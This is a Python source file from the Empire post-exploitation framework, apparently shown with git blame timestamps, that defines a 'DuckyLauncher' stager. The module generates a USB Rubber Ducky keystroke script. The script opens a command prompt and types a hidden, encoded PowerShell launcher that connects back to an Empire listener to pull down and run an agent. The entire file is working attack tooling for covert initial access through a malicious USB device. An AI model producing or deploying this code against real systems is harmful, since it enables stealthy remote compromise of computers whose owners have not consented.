Empire/lib/stagers/ducky.py

94 lines
3.3 KiB
Python
Raw Normal View History

2015-08-05 18:36:39 +00:00
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'DuckyLauncher',
'Author': ['@harmj0y'],
'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'),
'Comments': [
''
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
2016-03-04 00:13:44 +00:00
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
2015-08-05 18:36:39 +00:00
'OutFile' : {
'Description' : 'File to output duckyscript to.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
2016-03-04 00:13:44 +00:00
stagerRetries = self.options['StagerRetries']['Value']
2015-08-05 18:36:39 +00:00
# generate the launcher code
2016-03-04 00:13:44 +00:00
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
2015-08-05 18:36:39 +00:00
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
enc = launcher.split(" ")[-1]
duckyCode = "DELAY 3000\n"
duckyCode += "GUI r\n"
duckyCode += "DELAY 1000\n"
duckyCode += "STRING cmd\n"
duckyCode += "ENTER\n"
duckyCode += "DELAY 2000\n"
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
duckyCode += "ENTER\n"
return duckyCode